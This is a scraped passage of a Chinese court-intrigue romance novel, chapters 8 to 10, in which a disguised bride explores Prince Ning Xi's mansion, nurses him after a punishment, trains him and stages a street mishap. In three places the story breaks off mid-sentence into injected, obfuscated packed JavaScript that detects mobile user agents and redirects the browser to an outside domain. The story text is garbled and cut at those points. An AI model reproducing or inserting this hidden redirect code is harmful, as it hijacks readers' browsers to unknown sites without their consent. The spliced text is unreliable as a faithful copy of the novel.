万姝丹见满院桃花可爱,没有回答她的问题,反而问:“这个院子或许以前叫桃园?这四面厅的名字,也与桃花有关吗?” 寻夏回道:“确实如此,这四面厅就叫上灼厅。” 万姝丹一边往后面的鸳鸯厅走,一边说:“‘桃之夭夭,灼灼其华’的‘灼’吗?” 从两株黄杨间穿过,就是一间鸳鸯厅,过了鸳鸯厅,又是一个小院落。 万姝丹面朝这个小院,嘴里喃喃:“名字还真是亮堂啊。” 院内几株修建得当的紫薇还未开花,笑靥花铺在四周,此花花细如豆,一条千花①,让万姝丹想起了北地的冬天、院子里堆雪的景色。 寻夏没有等万姝丹询问,自顾自地说:“以前这里种的是牡丹,每到四月时,院子里的牡丹会先后盛开,听说殿下曾经很喜欢这里。” 万姝丹点点头,“看来蓝妃很喜欢牡丹?” 寻夏说:“是,宫里蓝妃住的地方也栽种过许多牡丹。” 万姝丹指了指前面的阁,“那里是做什么的?” 寻夏说:“那是披香阁,专门调香的地方,已经多年不用了。” 万姝丹走过去,尝试推了推门,雕花门应声而开。 里面十分干净整洁,除了一应必须家具之外,靠东的墙边立着一个格子架,漆着深红色,上面摆放着各种调香用的工具。 这时万姝丹听见有人往这边走来,她走到披香阁门口,静静等待着。果然就见那晚手握窄刀之人从小院侧门外走进来。 那人径直走向万姝丹,行礼道:“属下穆黎,见过王妃。” 万姝丹颔首,“有事?” 穆黎说:“属下负责王府巡防,想请王妃看一看,可有什么不妥之处。” 万姝丹没再多问什么,直接应下了。 全部看完以后,万姝丹说:“若是我,会在这些地方再安排些人手。” 穆黎看了看她所指的方向,“这些地方都是院墙和屋顶,若是想上去,必定会在中途换气。” 万姝丹莞尔一笑,“这些地方同样是高处,不是吗?可以安排几个眼神好、轻功不错的人在这些地方。” 穆黎得了回答,道了谢,就下去安排了。 此时万姝丹所在,正是披香阁后面,这是王府的后花园。她看向右手边,有一条青棍方砖路通向侧面。 “那边是什么?” 寻夏说:“那边是书房。” 这是一座二层小楼,小楼前几株梧桐将小楼与花园分隔开,小楼边紫荆花团团簇簇。进了正门,万姝丹就看到两侧有许多的书架,上边的书应有尽有。她随意扫了一眼,信手抽出一本,翻了翻,里面的空白地方有许多小字。 “这是殿下写的?” “是的。” 宁熙的批注很详细,间杂着许多别的内容。万姝丹又抽出一本,这是本诗集。上面的字与刚才那本书上的字迹不太一样。万姝丹比对了一下,发现笔锋走势差不太多,只是笔力不足,因此不够锋利,反而圆润许多。她又拿了几本翻看,在同一本书里,她找到了三种不同的字迹,看来宁熙对自己的手腕一开始并不太适应,其中有一种字写得歪歪扭扭的,像是小孩子因为腕力不够而颤抖一般。 万姝丹翻看时,好像看到了宁熙回京以后慢慢挣扎的日子。字越练越好,只是看起来不能长时间握笔,写字久了,有的笔画能看出因脱力而不在框架里。万姝丹想到了七年前的那个晚上,宁熙拿剑时的样子。 “这里这么多书,殿下都看过?” “是的。” 万姝丹看了一眼,后面还有几排书架,想到了二哥的那些书,以及按着自己读书的那些日子,心里有些怀念。 她拿了一本书上了二楼,靠窗是床榻,上面一张小几,摆着棋盘。 寻夏在一旁解释,“殿下有时看书太晚,会直接宿在这里,因此一应设施都很齐全。” 侧面是一张长桌,桌后的墙上挂着一幅画,画的是花与蝶,很精致,只是没有落款。 寻夏说:“这是殿下十一岁那年画的。” “十一岁?我记得殿下今年刚满十九吧?” 寻夏点头,“是,那是八年前了。后来再不见殿下动过笔画画。” 万姝丹没说什么,她被对面的架子吸引了目光。那架子上摆放着一把剑。剑鞘上没有多余的装饰,也没有剑穗,通体漆黑的鞘身。万姝丹将剑拿起,拔剑出鞘,剑身流畅,色泽银白,刃口削薄。这就是宁熙的佩剑,她当年见过,真是一把好剑。剑鞘上有一处不太明显的凹痕,是她的刀留下的痕迹。 “这把剑怎么放在了这里?” 寻夏说:“这剑已经放在这里很久了。” 万姝丹摸着剑,有点爱不释手,恋恋不舍地掂了掂,放回了架子上。她回身坐在榻上,看起手中的那本书。 * 武帝早上被宁熙那事儿搅了兴致,再加上也确实有些累了,就歇在了临水殿。再醒来时已经是下午了,唤了人进来服侍。郑妃靠在里侧,她问:“陛下可歇好了?” 武帝拉过她的手,轻轻拍了拍,“不错,确实睡得很舒服。” 苏尚这时进来,“陛下,长公主来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宁悦说:“我看宁宁现在倒是随你呢,天天花天酒地的。” “二姐又调侃我。”武帝一瞬间沉默了,“他早上确实喝酒了,今日是什么日子?这是明知故犯!” 宁悦垂手摸了摸手腕上的镯子,“我本来极不同意这门婚事,你若是要罚,别只罚宁宁一人,将秦可兰也传进宫里,一齐跪在紫宸殿。” 武帝揉了揉太阳穴说:“苏尚将秦可兰的原话告诉我了,分明是宁熙自己贪杯,与秦可兰何干?” “那也是她先提出让宁宁品尝的,是不是?” 武帝叹气,“秦可兰是我下旨选的,况且她孝期才过,又是刚大婚,传她进宫罚跪不好。” 宁悦循循善诱,“那宁宁还是你的儿子呢!这手心手背可都是肉!宁宁大婚,合该是高兴的。” 武帝妥协,对苏尚说:“罚这半日也差不多了,让他回去吧。” 他又转头对宁悦说:“我知二姐不喜欢秦可兰,无才无能,虽说曾经是高门闺秀,现在却没了娘家。然而秦静本人我是非常了解的,她的女儿不论如何不显名,人品一定错不了的,她这人性情敦厚,忠孝宽仁,早上还将责任都揽到自己身上,可见对宁熙也是不错的。二姐与她再相处几日,也会喜欢秦可兰的。我当初就是想让秦可兰多教教宁熙,让他收收心思,再过一年就要及冠了,总不能还是如此。” 宁悦垂下眼,“陛下的心思,自然是好的。” * 宁熙在紫宸殿跪了多半日,早就到了极限,苏尚来的时候,他已经控制不住地颤抖,脸色苍白。 苏尚一见这样,立刻吩咐:“快抬檐子来。你,去安王府知会一声,让他们着人来接殿下。”他上前扶住宁熙,“我的殿下,先坐下歇会儿。” 旁边的小内侍放上早就准备好的垫子。 宁熙问了一句,“可是有人来了?是姑姑吗?” 苏尚叹口气,“若不是长公主来了,殿下恐怕真要跪到晚上了。” 步辇准备好了,宁熙说:“我等等姑姑。” 苏尚说:“殿下不必等了,长公主今晚要宿在宫里,说是陪陪皇上呢。” 宁熙点头,任由他们抬着上了檐子,出宫去了。 * 万姝丹的午膳是在四面厅里用的,王府的膳食种类较多,量不大,每份都很精致。紫龙糕、千金碎香饼子、飞鸾脍、龙须炙…… 吃完饭,万姝丹靠在椅子上,坐姿懒散,她还在看那本书,书上宁熙的批注她也都看了,她发觉宁熙确实懂很多东西,批注写得很详细,万姝丹也在不知不觉之中了解了许多事情。 微风吹进厅堂,掀动她的白练裙。 忽然四面厅前门外传来微弱的人声,“……慢点……” 万姝丹侧耳倾听,将书放在一旁,顺着声音传来的方向走去,穿过这道院门走进直道,又走过一进院子。正好看见景煜指挥着仆人放下步辇,宁熙坐在上面,即使身体不舒服,也依然坐得端正。 8. 棋子 宁熙睁开眼睛,他确实精力消耗过大,很是疲累,声音里都带着倦意,“你站在那里干什么?” 万姝丹左看看右看看,“这就是你说的?我还以为用不到我,没想到却是把我也算计进去了。若是我不帮你,你该如何?” 见二人开始交谈,景煜挥挥手,仆人们都退下了,他也退至了月洞门外。 宁熙伸手捏了捏自己仍在发胀的双腿,“那我现在肯定还跪在紫宸殿前。只是我没想到,沈济之竟然和长公主都有联系,他可真是准备得很周全啊。” 万姝丹心里愉悦,她好像找到了宁熙的软肋,“京中什么情况,你我再清楚不过。长公主偏心你,皇帝与长公主感情深厚,有些事情由长公主去做,比其他人要好很多。” 宁熙倏地一拧眉,“你们还想让长公主做什么?” 万姝丹定睛观察着宁熙,微微一笑,“长公主身份在那里,地位又尊贵,我们又能让她做什么呢?” “你……”宁熙挣动了一下,“你们最好不要轻易动长公主。” “殿下说笑了。”万姝丹偏偏头,“我还是那句话,长公主身份尊贵,我们又能让她做什么?无非就是在你被罚跪的时候,让你少跪半天罢了。” 宁熙坐在檐子上,没说话,脸色沉了下去。 万姝丹心里高兴,脸上没表现出来,她安抚道:“殿下别紧张,我们不会对长公主不利的。” 宁熙定定地看向她,“你们最好如此。” 万姝丹幽幽笑了,“怎么?殿下觉得自己今天的试探做错了?是不是想看我们在宫中有什么线人,结果却发现是长公主?殿下,后悔了?” 宁熙闭了闭眼,“是不是沈济之多疑,所以你也这样?” “冤枉啊,殿下。”万姝丹慢慢走向宁熙,“是殿下不信任我在先,怎么反倒恶人先告状呢?” 宁熙咬咬牙,“我若是真不信任你,还能留你在王府?” 万姝丹露出一个笑容,“那这就不得不提殿下和我们是互相需要了。” 宁熙盯住她,他的舌头顶住上颚。 万姝丹能感觉出他被自己气得不轻,她回视对方,毫不相让。 宁熙深吸一口气,他现在确实一点办法都没有,他的处境实在是不容乐观,有求于人,即使贵为亲王也不得不低头。说来,他这个亲王衔,也就仅仅是个头衔罢了。 他揉着额角,“今日之事,我确实没想那么多。我突然大婚,需得寻个错压一压,不然有心人会以为我的气焰高了,盯上咱们就会麻烦一些。” 万姝丹听得他说的是“咱们”,有些好笑,“殿下好计策,自己给自己找麻烦最多跪一跪,别人可就说不准了。不过,你心里一定也想着,要是可以探一探我们在京中的底细,是最好不过的吧?昨晚可是都说好合作了,你知道我一定会选择帮你的。” 宁熙终是叹气,“这件事是我做得不对,还希望你们不要让长公主涉险。” 万姝丹歪歪头,“殿下与长公主真是好情谊。” 宁熙轻笑,“你与沈济之不也是如此?若是我算计沈济之的话,你也不会让我好过的对吧?” 万姝丹听他提到了沈济之,笑容半凝固在脸上,她提出了早就想好的方案,“殿下,如今这局面,不如你我都安分一些。二哥虽然不及长公主在京中有众多保护,然而我们在江湖上也不是任人宰割的,希望殿下牢记这一点,凡事三思而后行。” 宁熙眼角一跳,表情出现一瞬间的空白,挣扎着要从檐子上下来,在踩地的那一刻,腿就打弯了。他立马抓紧了檐子,将自己的身形稳住,才好歹算是没直接跪地上。 万姝丹不知道这句话为什么触动了宁熙,她在一旁左右瞧了瞧,好奇地问:“你怎么不喊人过来抬你进去?” 宁熙哆哆嗦嗦看了一眼万姝丹,没说话,他尽力将自己撑起来,松开手,还没走出两步,就又歪了下去。眼看就要摔在地上,月洞门外的景煜见状就要冲过来。 一只手稳稳托住了宁熙,将他拉了起来。 万姝丹皱眉,“你说说你这是干什么?” 景煜马上刹住车。 万姝丹冲那边喊:“别躲了,我听见你了,过来扶着你家殿下……不是,你跑什么?景煜!” 这回彻底就剩万姝丹和宁熙在这里了。 万姝丹震惊了,“他什么意思?” 宁熙不欲让她扶着,就要去掰开她的手。万姝丹在他碰到自己手的前一刻就松开了他,宁熙的身子登时如一片枯叶往下坠去,衣袍掀飞,他的眼中有过一瞬的惶恐,接着紧紧闭了起来,想象中的疼痛没有传来,万姝丹又将他捞了起来。 “不需要我扶?” 宁熙闭着眼睛,嘴唇也抿紧,面色有些苍白,他用力抓着万姝丹的手,指尖都隐隐泛白了。 “轻点!”万姝丹一巴掌拍在他的手背上,“殿下,诚实是个良好的品德,你自己说,要不要我扶你回岁安堂?” 宁熙的呼吸声很重,似乎确实被吓得不轻。万姝丹看着他一起一伏的身子,伸手就拍上去,“喂……” 这一掌将宁熙定住了,很快他睁开双眼,眼中已没有刚才惊惧的痕迹,唇边甚至挂上一丝笑意,“那就辛苦王妃了。” 万姝丹看着他变脸如翻书一样快,很是震惊,“你……” “怎么?你不愿意了?” 万姝丹冷哼一声,她试着扶着他往前走了几步,只见宁熙双膝一弯就要跪下去,万姝丹眼疾手快揽住他的腰身,“殿下你这个样子,好像不太行。” 宁熙半敛双目,看不清他的神色,“王妃勇武出众,总该有办法的吧?” 万姝丹挑眉,她笑出了声,轻轻地说:“殿下,我进了这安王府,自然是事事以殿下为先。既然殿下不需要别人抬着你回去,那只好我来了。” 她的气息拂在宁熙的脸侧,宁熙也笑,“那就……你这是做什么?” 万姝丹扶着他,慢慢转过身,让宁熙趴在自己的背上,“殿下不是走不动了么,那我就背殿下回去啊。” 宁熙贴上万姝丹后背的一瞬,身子变得僵硬,“你……” 万姝丹拍了一下他,“别乱动。” 她抓住宁熙的大腿后侧,轻轻往上掂了一下,宁熙稳稳地被她背了起来。这下宁熙更说不出话来了,他的表情变得很是古怪,惊讶的同时有些困惑,几经变换,他终是放松了下来,将手轻轻搭在她的肩头。 万姝丹梳着朝云近香髻,上插宝钗,钗上饰有媚子,镂空花纹的两对小翅尽显精巧,两条细带在风中飘曳。发髻最高处插着一支金钿簪,钿上缀有细小的珍珠,中间是一颗透亮的红色宝石。她个子不算高,宁熙被她背起时,视线刚好对上那颗红宝石。他看着晶莹的石头,状似随意地问:“你这金簪锋利程度不输黑簪,是你自己寻得的,还是别人赠予你的?” 宁熙身子单薄,万姝丹走得很稳,“殿下很好奇?” 宁熙抬手将她随意插在发髻中的金簪取下,拿在手里仔细看着,“似乎有些年头了。” 万姝丹没答话。 宁熙眯着眼睛想了想,“七年前好像没见你有这金簪,是在那之后?” 万姝丹应也不是,不应也不是。 宁熙笑得胸腔都震动起来,“你不说话,看起来我猜对了。阿姝,你那时如果跟我要黑簪,我也许会给你的。” 万姝丹快走了几步,进了岁安堂就将宁熙放在榻上,她从宁熙手里抽走金簪,咬牙切齿地说:“殿下好记性,可那时你我不过是初见,如何能让殿下割爱呢?” 宁熙温温柔柔地看着她,“虽然是初见,可我还挺喜欢你的。” 万姝丹愕然地看着宁熙,她一下子没控制住自己的表情。 “怎么,不相信吗?”宁熙靠在迎枕上,“阿姝那时候还不会照顾人,看起来又冷冷的,但其实很容易心软,一转眼都过去这么多年了,阿姝变了好多,我都没敢第一时间与你相认。” 万姝丹不知道他说这些是做什么,也不清楚他是不是在作戏,她飞快调整好,“殿下又何尝不是?应该说殿下才是变化最大的那个,变得我都认不出来了。” 宁熙颇为赞同地点点头,“是啊,不要说你,其实我也认不出我自己了。” 万姝丹见他不为所动,转身出了岁安堂,回到了自己的院子,从箱子里翻出四哥给的药油。再回岁安堂时,宁熙还是刚才的姿势,见她进来,表情没来得及收好,神色恹恹地,他好像是懒得装了,也没露出那标准的笑,淡淡地问:“怎么?” 万姝丹坐在榻边,自然而然地挽起宁熙的裤脚,“我当然是来助殿下一臂之力的。” 她把药油倒在掌心,双手搓开,轻轻按上宁熙的膝盖,沿着小腿一路往下。药油有些凉,万姝丹的掌心很热,一冷一热之间,宁熙恍惚了一下。万姝丹侧脸面向宁熙,随着她的动作,头上的小翅几下翩跹,细带尖扫过她雪白的颈间。从这个角度能看见她高挺的鼻梁和界限分明的下颌。 万姝丹注意到他的目光,半转过身子,看向宁熙,“怎么了?” 凌厉的感觉被柔润冲淡了些,宁熙看着她的脸,饱满的额头,小巧的下巴,圆圆的小脸,真不像是一个手上沾血的人。万姝丹的手法很好,轻缓有力,恰到好处,缓解了腿部的不适。 万姝丹又说:“殿下的身子该好好调理调理了。” 不等宁熙开口,万姝丹屈指,以指骨沿着脉络微微发力。第一下时,宁熙差点从榻上蹦起来。万姝丹一把按住他,手上继续使力,她能感觉到宁熙浑身止不住地颤抖,小腿条件反射般往回缩。万姝丹抓住他的脚腕,用力拉直,折腾得她的额头上都冒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920219|177029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汗珠了。 待到结束后,她一回头,看到了宁熙泛红的脸,紧紧攥着毯子的手,以及死死咬着的下唇,丝丝鲜血沿着唇纹晕开。 “哎,松口,咬破了!” 万姝丹连忙捏住宁熙的脸颊,迫使他张开嘴。果然下唇上多了一个冒血的小口。她又回熹微院拿了另一个瓶子,清凉的药膏点在那一点破口上。 宁熙睁开眼睛,一层水光蒙在上面,他看着万姝丹,“……好像确实好多了。” 万姝丹有些得意,“那肯定,我好歹跟四哥学过几日。” 宁熙也不知道听进去没有,疲倦地再次闭上眼。万姝丹由着他睡去了,她拿着瓶子出了岁安院,吩咐景煜,“殿下睡着了,你们仔细点。” 回到熹微院,将瓶子放好,她就去了书房,坐在二楼看书。直到寻夏找来,问她要在哪里用饭。 万姝丹揉揉脖子,“殿下醒了吗?” 寻夏走上前,替她捏着肩膀,“刚才醒了,吃过饭,又睡下了。” 万姝丹随手将书放在小几上,“在四面厅吧。” 寻夏唤过旁边的小婢女,让她去通知厨房。 万姝丹又喝了一口茶水后,才施施然起身,路过那把剑时多看了一眼,随后往四面厅走去。 第二日一早,万姝丹刚要准备在院中晨练,就见景煜站在院门外,“王妃,殿下有请。” 进了岁安堂,宁熙也穿了身劲装,正站在门口等她。 万姝丹上下打量着他,“你这是……” “你昨日说要助我一臂之力,总不能只干一半吧?” “带你晨练啊。”万姝丹说,“那来吧。” 由于宁熙的身体长期缺乏练习,二人这日从基础的开始练起,大多时候都是万姝丹看着宁熙。 随后俩人就在岁安堂吃了饭,宁熙漱口时说:“听说你已经去过书房了?一会儿书房见。” 万姝丹回到熹微院想要换身衣服,寻夏打开了一个箱子,里面是各种颜色的裙子,她边展示边介绍,“这里面一部分是长公主为王妃准备的,一部分是殿下亲自选购的布料做成的裙子。” 万姝丹大概翻了翻,款式很多,她选了一条百褶桃丹色罗裙。到了书房,上了二楼,就见宁熙已经坐在小几前,他换了一身苍色的广袖衣衫,拿着棋篓看过来。万姝丹见到棋盘,脚步微微一顿。 “我听闻沈济之棋艺很好,怎么没教会你?” 万姝丹坐在他的对面,“琴棋书画我都学得很糟糕,其中下棋是最学不会的。殿下今日是想要挑战教我下棋吗?” 宁熙示意她先落子,“这一点上,你倒是与传闻中的秦可兰一致。我在这些上颇有见解,你来京城,这里最不缺的就是宴席,席上琴棋书画、诗词歌赋是少不了的。当然,最后还是由你选择,要不要学一学、练一练。” 万姝丹想了想,拿手托腮,“殿下若是技艺拿得出手,我也不能落下太多。昨日已显出你我二人相处得还不错,那在教我艺能这一件事上,就是琴瑟和鸣的一种体现。如此说来,那我学。” 宁熙低声笑了,点点头。 万姝丹慢慢摸索着宁熙的方式,每次都觉得好像掌握一点了之后,发现他又出现了改变。日头渐渐攀至最高点,万姝丹将棋子扔回棋篓中,已经不知道说了多少遍了,“我输了。” 宁熙捏着一枚棋子,“继续?” “让我歇歇。”万姝丹摆摆手,她的头后仰,手臂搭在额头上。 “这就累了?” 万姝丹听出他话里的调侃,也不恼,只将手臂施施然靠在膝头,“说起下棋,不如我给你展示一下棋子的另一种用途?” 她用食指和中指夹住一枚棋子,手肘带动小臂,手腕一抖,窗外的树叶晃了一下。 万姝丹带着笑意,看着宁熙走进院里,自己也跟过去。宁熙看到了一片树叶中间穿了个洞,棋子嵌进了树干里。他将棋子抠出,看着万姝丹颇带得意的脸,觉得心里有点痒痒的。加上他一直查不到万姝丹的身份,这让他心痒得犹如猫爪挠一般。此刻日光下,她的脸覆上一层光,宁熙没有哪一刻如同现在一样,想要知道她的来历,“你好像还没有正式介绍过你自己?” “我说过,殿下要拿东西来换。” 宁熙不答反问:“你这么厉害,沈济之是怎么将你留在他身边,为他所用的?” “二哥是我最亲近的人,我帮二哥的忙有什么不对?”万姝丹不愿意了,“殿下才是那个喜欢以最大的恶意去揣测的人吧。” 宁熙掂了掂手里的棋子,并未否认,“沈济之才是最厉害的那个,连我都是他的棋子。” 万姝丹忽然想起,很久之前二哥说过的一句话,她把这话面无表情地说给宁熙听,“选择入局,就没有执棋人,大家都是这洪流中的棋子,谁也不能幸免。” 9. 小贼 次日,万姝丹醒来后,刚从院中折下一枝红叶碧桃,景煜就再次站在了院门口,他挠了挠头,犹豫着开口:“王妃,殿下……” 万姝丹手指抚过花瓣,心中有了计较,“这就过去。” 她随着景煜来到岁安院,顺手折下一枝旁边的连翘。 这次她有意为难宁熙,将对练提前进行。万姝丹出招很快,招招如风过原野,迅速且轻盈,几个回合后,花瓣纷扬,卷在两人之间,它们被万姝丹扇动的气流裹挟着,最终她横劈一下,红黄花如雨下,向宁熙袭去,落了他满身。万姝丹站在花雨外,欣赏着自己的杰作。 宁熙垂眸看着花瓣旋转飘下,离了枝头的花,就像无根的浮萍,身不由己。他没有任何怒意,对万姝丹说:“继续。” 万姝丹不语,以极快的速度欺身上前,将花枝点在宁熙肩头,“殿下,你跟不上我的速度,要如何继续?” 宁熙看着万姝丹的双眼很是平静,“再来。” 万姝丹再次出手,这次花枝抽上了他的小臂,力度不大,却也绝非挠痒痒,很明显的抽击声传来。 宁熙的手刚抬到一半,他声音不带任何波澜,“你可知换做别人,你已经没命了?” 万姝丹唇边含笑,“自然,殿下天潢贵胄。可问题是,是殿下太慢了。” 宁熙皮笑肉不笑,“你根本做不了一个合格的老师。” “殿下的结论是不是定得有些早?”万姝丹收回手,“教我武功的那些人可没有我的好脾气。” 话音未落,万姝丹又将花枝递出,这一次她刻意放慢了速度,将将够宁熙抵挡住。以这种速度,二人你来我往几十回合。万姝丹的速度一直保持在稳定的状态,宁熙则略显吃力,最后一次时,万姝丹的花枝直接抵在他的劲边。 她看着对方气喘吁吁的样子,把花枝递给寻夏,随口问:“殿下的那把剑可有名字?” 宁熙接过景煜手上的布巾擦擦汗,“和光。” “和光?”万姝丹在岁安堂用完饭,和寻夏往熹微院走时,她这么问寻夏,“殿下那把剑以前不叫这个名字吧?” 寻夏回说:“婢子并不知那把佩剑以前的名字,七年前殿下身子刚能行动时,就将这把剑放在了书房,取名‘和光’。” 万姝丹点点头,“对了,跟殿下说一声,他需要伸展一下筋骨,不然容易疲累。” “婢子会将话带到的。”寻夏停顿了一下,声音里有些喜悦,“殿下方才多吃了半碗饭呢,还是王妃有办法。” 万姝丹怔愣,“什么?” “婢子听长公主说过,殿下以前身体很好,饭量比现在大很多。” 万姝丹失笑,“他只是长久不锻炼,饭量减小很正常。” “不是的。”寻夏说,“殿下之前喝过很长一段时间的药。” “喝药?” 寻夏小鸡啄米般点点头,“殿下身子不好,宫里的侍御医来看过,说殿下需要好生将养着。一开始殿下还肯喝药,后来说什么也不愿意喝了。” 万姝丹见她确实很担忧,拍了拍她的手背,轻声安慰:“放心好了,殿下会好起来的。” 下午时,万姝丹正往书房走去,却见书房梧桐前,稍微往园子里偏一点的一处阁子外,候着几个婢女,想来是宁熙在那里了。 万姝丹走过去,就见宁熙正坐在琴桌前,用桑叶捋着琴弦①。她见旁边放着一本书,随手翻了翻,“殿下真是勤奋。” 宁熙轻轻拨弄几下琴弦,“你不也是?” 万姝丹翻开一页,“我只是随便看看,比起书本的内容,殿下的批注更精彩一些。” 宁熙将桑叶扔在一旁,有婢女上前收拾走,“你若是只看我写的东西,会错过书中很多更好的内容。” 万姝丹见他起身让开,“殿下?” 宁熙坐在对面,脸上带笑,“昨日练了棋,今日该练琴了。” 万姝丹睁大眼睛,不可置信地看向宁熙。 “怎么?不愿意?”宁熙见她双眼圆睁,下垂的眼尾沟显得她无辜极了,“看来王妃对自己的琴技很是自信?” 万姝丹想到自己在那半年里还出现弹断弦的现象,眼角微动。在学琴这一件事上,只要她断了练习,就容易生疏。 “不展示一下吗?”宁熙摆好琴。 万姝丹坐在琴前,琴音缓缓飘起。宁熙坐在对面就如同当年沈济之一模一样,让万姝丹有些紧张,下手失了准头。宁熙听着听着,就在她要重压时,伸手按在她的手指上,“不要这样用力。” 万姝丹没料到他会直接用手触碰自己,手指瑟缩了一下,尾音一下子就飘了。袅袅余音还未落地,宁熙摆正她手指在琴弦上的位置,“继续。” 不算流畅的琴音缓缓泄出。 宁熙在这不甚优美的曲调中问:“沈济之教你弹琴时,你是不是只想着练武了?” 万姝丹当然不会承认她跟着四哥在谷里上蹿下跳胡作非为,含糊地应下了。 宁熙说:“那你也算个武痴,怪不得轻功这样好。” 那是因为做了坏事以后方便逃跑,所以在大哥询问她想学什么时毫不犹豫选了轻功,没想到她还真的在轻功上有天分,二哥听说以后评价一句歪打正着。后来学着学着,她发现自己也很喜欢轻功,那种在空中自由的感觉让她着迷。 万姝丹又拨弄了几下琴弦,“殿下,弹琴我还是能拿得出手的,就是现在有些生疏了。” 宁熙拿起一旁的书,放下一句话,“那你就好好练练吧。” 这两日,万姝丹一直窝在王府里,早上她折磨宁熙,下午宁熙折磨她。她的脑子里一直有琴声挥之不去,手指上还有按压琴弦的感觉,没想到以前在二哥那里偷的懒,现在要在宁熙这里补回来了。 万姝丹抬手算了算日子,今日就是约定好的时间。她从箱子里找出一件青碧联珠对鸟镜花缭绫裙,挽了个简单的头发,只装饰上花钿。 寻夏进来时,看见万姝丹已经打扮好了,“王妃?今日可是要出门?” 万姝丹应道,“殿下呢?” “还在等王妃呢。” 万姝丹跨进岁安院时,宁熙正在热身,见她一身外出的衣服,收了动作,“你要出门?”他皱皱眉,“那今日的晨练呢?” 万姝丹微微提着裙摆,“殿下还练上瘾了?我来京城好几日,都不见殿下带我出去走一走,今日天气好,不如一道出门看看?” 宁熙不知道她葫芦里卖的什么药,他站在原地上下打量着万姝丹,右手食指和拇指轻轻搓着。 万姝丹保持着微笑,“怎么了?殿下?” “我在想你为什么突然想要出门?” 万姝丹走近两步,她慢慢靠近宁熙,“殿下若想知道,为什么不跟我一起出门,亲自看看我要做什么呢?” * 马车上,万姝丹掀起小窗帘,看见几条街外那座三层的楼,“那是什么楼?” 宁熙顺着她的目光看去,“那是金川楼。” 万姝丹明知故问:“金川楼是什么?” 景煜在马车外说:“金川楼是京城第一酒楼。” “殿下。”万姝丹用一种商量的语气,“去那边看看?” 金川楼在京城一条主街市尾,今日这条主街市上人很多。万姝丹下了马车,看着熙熙攘攘的人群,跃跃欲动。 宁熙皱了皱眉,“里面人多,你想去做什么?” “当然是买东西了。” 街市上大多数都是卖吃食的,有热气腾腾的烤肉摊、包子铺、烧饼店,还有各种卖熟食熟肉的小摊,其间夹有鲜水果、果脯、裹糖水果、糖煮果酱等等。靠近小巷边,有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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见那小贼往宁熙万姝丹这边跑来,景煜和颜宥津刚想有所动作。也不知道是怎样的连锁碰撞,总之有个人的肩膀撞在万姝丹后背,她往旁边趔趄一下,另一只脚却踩到了裙边,瞬间失去了平衡。而因为刚才的拥挤,她和宁熙站得极尽,手还搭在他的袖子上。因此她适当喊了一声,倒向宁熙。宁熙下意识伸手要接,却被大力扑过来的万姝丹撞得身子一歪,连带着向后摔去。眼看着就要磕到头,万姝丹在倾斜过程中稍稍往上挪了一步,宽大的裙摆遮住了这一小动作,于是她直接骑在宁熙腰的上方,在广袖的掩盖下,用手护住了他的头。 宁熙感到一阵天旋地转,上一瞬还想接住万姝丹,下一瞬已经被撞得失去平衡,往后仰倒,等意识回归时,他已经躺在了地上,头下有个温热柔软的东西。他还没来得及想明白那是什么,就听到旁边的人喊,“他摔了摔了!” “哎!别跑!” “东西落下了!” “在哪儿呢!” 等宁熙低头想看是谁趴在自己胸口时,一个玉佩先映入他的眼帘,这是长公主宁悦的。然后就看到了一颗有些乱糟糟的头贴在自己的胸口,花钿仍牢牢地固定在发髻上。 “来!让一让!” “先把人扶起来!” 万姝丹在路人混乱的踩踏之中躲避着,宁熙在她身下一点影响都没有。就在有人要碰到她时,万姝丹忽然起身,用手揉着头,迷迷蒙蒙睁开眼,看见宁熙躺在地上。 “啊!殿……五郎!”声音那叫一个真情意切。 没等万姝丹出手,景煜就把宁熙扶了起来,“走,先离开。” 一行人在混乱中走出了主街,来到岔路口。宁熙手里拿着那枚玉佩,望向主街,果不其然,从街市里又出来一批人。宁悦赶了上来,焦急地上下看着宁熙,“我在那边见你摔了!摔哪儿了?疼不疼?有没有事?” 宁熙把玉佩递给宁悦,“姑姑,我没事。姑姑怎么会来这里?” 宁悦笑眯眯地说:“今日天气好,我打算出来逛一逛,正巧琬儿琦儿来看我,就一起来了。” 郑琬笑了,“是了,结果谁想到竟然碰上了小贼,多亏了五弟也在这里。” 宁熙淡淡看了一眼万姝丹,“属实是巧合,可兰来京城还没好好看一看,今日带她出来走一走,就碰到了姑姑、三嫂嫂和四嫂嫂。” 宁悦说:“确实是巧了!既然这样,走,我请你们去金川楼吃饭。” 10. 走水 金川楼,三楼雅间。 郑琬说:“方才若不是子煦,姑姑怕是要着急好一阵子了。” 贾琦眼里带笑,“是啊,那小贼跑得好快,子煦真是厉害。” 宁熙说:“四嫂嫂说笑了,这些年我是什么情况您再清楚不过了……” 万姝丹打断道:“四嫂嫂,方才确实是我被人撞了一下,没站稳,这才碰倒了五郎。” 郑琬说:“是了,我那个位置看得很清楚,可兰还不止被一个人撞到了呢,难怪要摔,裙子都皱了。” 万姝丹身上这件湖色裙裙摆处沾上了灰迹,不自然地皱着。 郑琬看了看,“可兰这件湖色裙子真好看,不知是哪里的?” 万姝丹一愣,小声说:“这都是五郎置办的……” 宁熙接过话头,“三嫂嫂若是喜欢,我一会儿着人给您送府上去。” 